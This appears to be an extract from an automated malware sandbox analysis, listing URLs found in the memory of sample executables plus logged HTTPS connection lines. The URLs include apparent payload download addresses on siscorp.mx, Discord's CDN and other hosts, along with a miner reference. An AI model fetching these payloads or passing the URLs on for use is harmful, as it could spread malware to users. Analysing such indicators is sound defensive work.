Source: 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403x
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeModule
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exem
Source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcrogers.com/StyleControls%20VCL.exe
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcrogers.com/StyleControls%20VCL.exe;
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcrogers.com/StyleControls%20VCL.exeC:
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcrogers.com/StyleControls%20VCL.exeK
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcrogers.com/StyleControls%20VCL.exes?
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?Download=MagicMouseTrails
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?Download=MagicMouseTrails
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails/History
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408251652.00007FF6BA9AE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe, MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA7000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/P
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/$K
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/8K
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367911693.0000024044DB5000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1272461485628719179/127565881083638992
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367911693.0000024044DB5000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachmtachm
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachmtachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/e.exe#space
Source: yZBxqqQICO50PLfWYKwJeSL5.exe	String found in binary or memory: https://github.com/golang/prot
Source: 3QKcKCEzYP.exe, 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2304131797.0000024046942000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/golang/protobuf/issues/1609):
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: 3QKcKCEzYP.exe, 00000000.00000002.2408251652.00007FF6BA9AE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/0
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33nMv
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: 3QKcKCEzYP.exe, 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2304131797.0000024046942000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictnot
Source: 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/cdb-53011b87bd06
Source: 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/jaliwYuqe.exe#space
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/jaliwYuqe.exe#space6/H
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/jaliwYuqe.exe#spaceC:
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/jaliwYuqe.exe#spaceC?
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/jaliwYuqe.exe#spaceM?
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/kleiseIche.exe#space
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/kleiseIche.exe#spaceC:
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/kleiseIche.exe#spaceU?
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx/kleiseIche.exe#spaces
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx:80/jaliwYuqe.exe#space
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx:80/kleiseIche.exe#space
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx:80/kleiseIche.exe#space7
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx:80/kleiseIche.exe#spaceDJ
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://siscorp.mx:80/kleiseIche.exe#spacees
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FE9000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/1cN8u7
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/H
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/om
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su:443/1cN8u7gl

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.6:49716 version: TLS 1.2
